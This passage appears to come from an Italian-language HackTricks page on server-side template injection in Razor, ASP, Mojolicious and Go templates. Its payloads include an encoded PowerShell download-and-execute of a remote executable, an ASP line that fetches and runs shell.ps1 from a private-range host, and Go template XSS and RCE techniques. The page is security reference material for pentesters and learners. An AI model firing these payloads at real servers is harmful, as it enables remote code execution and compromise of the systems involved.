  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHccgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Il metodo .NET System.Diagnostics.Process.Start può essere utilizzato per avviare qualsiasi processo sul server e quindi creare un webshell. Puoi trovare un esempio di webapp vulnerabile in https://github.com/cnotin/RazorVulnerableApp

Ulteriori informazioni

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Ulteriori informazioni

Mojolicious (Perl)

Anche se è Perl, utilizza tag simili a ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Errore
<%= perl code %>
<% perl code %>

SSTI in GO

Nel motore di template di Go, la conferma del suo utilizzo può essere fatta con payload specifici:

  • {{ . }}: Rivela la struttura dei dati in input. Ad esempio, se viene passato un oggetto con un attributo Password, {{ .Password }} potrebbe esporlo.
  • {{printf "%s" "ssti" }}: Ci si aspetta che visualizzi la stringa "ssti".
  • {{html "ssti"}}, {{js "ssti"}}: Questi payload dovrebbero restituire "ssti" senza aggiungere "html" o "js". Ulteriori direttive possono essere esplorate nella documentazione di Go qui.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

Con il pacchetto text/template, l'XSS può essere semplice inserendo il payload direttamente. Al contrario, il pacchetto html/template codifica la risposta per prevenire questo (ad esempio, {{"<script>alert(1)</script>"}} risulta in &lt;script&gt;alert(1)&lt;/script&gt;). Tuttavia, la definizione e l'invocazione del template in Go possono bypassare questa codifica: {{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

L'exploitation RCE differisce significativamente tra html/template e text/template. Il modulo text/template consente di chiamare direttamente qualsiasi funzione pubblica (utilizzando il valore “call”), cosa non permessa in html/template. La documentazione per questi moduli è disponibile qui per html/template e qui per text/template.

Per RCE tramite SSTI in Go, i metodi degli oggetti possono essere invocati. Ad esempio, se l'oggetto fornito ha un metodo System che esegue comandi, può essere sfruttato come {{ .System "ls" }}. Accedere al codice sorgente è solitamente necessario per sfruttare questo, come nell'esempio fornito:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Ulteriori informazioni

Altri Exploit

Controlla il resto di https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection per ulteriori exploit. Puoi anche trovare informazioni interessanti sui tag in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}

Aiuto Correlato

Se pensi possa essere utile, leggi:

Strumenti

Lista di Rilevamento Brute-Force

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Pratica e Riferimenti

RootedCON è l'evento di cybersecurity più rilevante in Spagna e uno dei più importanti in Europa. Con la missione di promuovere la conoscenza tecnica, questo congresso è un punto di incontro fervente per professionisti della tecnologia e della cybersecurity in ogni disciplina.

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks
{% endhint %}